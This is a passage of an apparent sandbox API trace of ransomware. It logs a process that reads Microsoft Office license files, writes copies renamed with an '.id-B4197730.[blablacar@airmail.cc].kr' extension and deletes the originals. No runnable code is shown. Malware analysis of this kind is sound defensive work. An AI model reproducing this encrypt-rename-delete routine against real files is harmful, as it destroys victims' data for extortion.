Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString=".jpg") returned 4 [0194.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString=".doc") returned 4 [0194.757] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString=".docx") returned 5 [0194.757] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.757] lstrlenW (lpString=".pdf") returned 4 [0194.757] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString=".xls") returned 4 [0194.757] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString=".xlsx") returned 5 [0194.757] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.757] lstrlenW (lpString=".ppt") returned 4 [0194.757] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.757] lstrlenW (lpString=".zip") returned 4 [0194.758] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.758] lstrlenW (lpString=".rar") returned 4 [0194.758] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.758] lstrlenW (lpString=".bz2") returned 4 [0194.758] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.758] lstrlenW (lpString=".7z") returned 3 [0194.758] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.758] lstrlenW (lpString=".dbf") returned 4 [0194.758] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.758] lstrlenW (lpString=".1cd") returned 4 [0194.758] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0194.758] lstrlenW (lpString=".jpg") returned 4 [0194.758] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.758] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0194.758] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0194.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.759] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=22224) returned 1 [0194.759] CloseHandle (hObject=0x4d8) returned 1 [0194.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0194.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0194.761] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.761] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0194.762] GetLastError () returned 0x0 [0194.762] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x56d0, lpOverlapped=0x0) returned 1 [0194.930] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x56e0, lpOverlapped=0x0) returned 1 [0194.933] ReadFile (in: hFile=0x4d8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.933] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12a, lpOverlapped=0x0) returned 1 [0194.933] SetEndOfFile (hFile=0x538) returned 1 [0194.933] CloseHandle (hObject=0x538) returned 1 [0194.933] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.933] SetEndOfFile (hFile=0x4d8) returned 1 [0194.938] CloseHandle (hObject=0x4d8) returned 1 [0194.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0195.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.161] lstrlenW (lpString=".doc") returned 4 [0195.161] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".docx") returned 5 [0195.162] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.162] lstrlenW (lpString=".pdf") returned 4 [0195.162] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".xls") returned 4 [0195.162] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".xlsx") returned 5 [0195.162] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.162] lstrlenW (lpString=".ppt") returned 4 [0195.162] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.162] lstrlenW (lpString=".zip") returned 4 [0195.162] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".rar") returned 4 [0195.162] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".bz2") returned 4 [0195.162] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString=".7z") returned 3 [0195.162] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.162] lstrlenW (lpString=".dbf") returned 4 [0195.162] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.162] lstrlenW (lpString=".1cd") returned 4 [0195.162] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.162] lstrlenW (lpString=".jpg") returned 4 [0195.162] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.403] lstrlenW (lpString=".doc") returned 4 [0195.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.403] lstrlenW (lpString=".docx") returned 5 [0195.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.403] lstrlenW (lpString=".pdf") returned 4 [0195.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.403] lstrlenW (lpString=".xls") returned 4 [0195.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.403] lstrlenW (lpString=".xlsx") returned 5 [0195.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.404] lstrlenW (lpString=".ppt") returned 4 [0195.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.404] lstrlenW (lpString=".zip") returned 4 [0195.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString=".rar") returned 4 [0195.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString=".bz2") returned 4 [0195.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString=".7z") returned 3 [0195.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.404] lstrlenW (lpString=".dbf") returned 4 [0195.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.404] lstrlenW (lpString=".1cd") returned 4 [0195.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0195.404] lstrlenW (lpString=".jpg") returned 4 [0195.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.404] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.404] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33 [0195.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.838] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11624) returned 1 [0195.838] CloseHandle (hObject=0x518) returned 1 [0195.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0195.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.839] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.839] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.840] GetLastError () returned 0x0 [0195.840] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0195.845] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0195.846] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.846] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0195.846] SetEndOfFile (hFile=0x544) returned 1 [0195.846] CloseHandle (hObject=0x544) returned 1 [0195.847] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.847] SetEndOfFile (hFile=0x518) returned 1 [0195.850] CloseHandle (hObject=0x518) returned 1 [0195.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0195.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.853] lstrlenW (lpString=".doc") returned 4 [0195.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.853] lstrlenW (lpString=".docx") returned 5 [0195.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.853] lstrlenW (lpString=".pdf") returned 4 [0195.853] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.853] lstrlenW (lpString=".xls") returned 4 [0195.853] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.853] lstrlenW (lpString=".xlsx") returned 5 [0195.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.853] lstrlenW (lpString=".ppt") returned 4 [0195.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.854] lstrlenW (lpString=".zip") returned 4 [0195.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.854] lstrlenW (lpString=".rar") returned 4 [0195.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.854] lstrlenW (lpString=".bz2") returned 4 [0195.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.854] lstrlenW (lpString=".7z") returned 3 [0195.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.854] lstrlenW (lpString=".dbf") returned 4 [0195.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.854] lstrlenW (lpString=".1cd") returned 4 [0195.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.855] lstrlenW (lpString=".jpg") returned 4 [0195.855] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.855] lstrlenW (lpString=".doc") returned 4 [0195.855] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".docx") returned 5 [0195.855] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.855] lstrlenW (lpString=".pdf") returned 4 [0195.855] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".xls") returned 4 [0195.855] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".xlsx") returned 5 [0195.855] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.855] lstrlenW (lpString=".ppt") returned 4 [0195.855] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.855] lstrlenW (lpString=".zip") returned 4 [0195.855] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".rar") returned 4 [0195.855] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".bz2") returned 4 [0195.855] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.855] lstrlenW (lpString=".7z") returned 3 [0195.856] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.856] lstrlenW (lpString=".dbf") returned 4 [0195.856] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.856] lstrlenW (lpString=".1cd") returned 4 [0195.856] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0195.856] lstrlenW (lpString=".jpg") returned 4 [0195.856] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.856] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0195.856] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36 [0195.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.857] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19962) returned 1 [0195.857] CloseHandle (hObject=0x518) returned 1 [0195.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0195.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0195.858] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.858] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.859] GetLastError () returned 0x0 [0195.859] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dfa, lpOverlapped=0x0) returned 1 [0195.865] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0195.867] ReadFile (in: hFile=0x518, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.867] WriteFile (in: hFile=0x544, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11c, lpOverlapped=0x0) returned 1 [0195.867] SetEndOfFile (hFile=0x544) returned 1 [0195.867] CloseHandle (hObject=0x544) returned 1 [0195.867] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.867] SetEndOfFile (hFile=0x518) returned 1 [0195.871] CloseHandle (hObject=0x518) returned 1 [0195.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0195.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86 [0195.872] lstrlenW (lpString=".doc") returned 4 [0195.872] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.872] lstrlenW (lpString=".docx") returned 5 [0195.872] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.872] lstrlenW (lpString=".pdf") returned 4 [0195.872] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.872] lstrlenW (lpString=".xls") returned 4 [0195.872] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.872] lstrlenW (lpString=".xlsx") returned 5 [0195.872] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.872] lstrlenW (lpString=".ppt") returned 4 [0195.872] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.872] lstrlenW (lpString="C:\\Program Files\\Microsoft 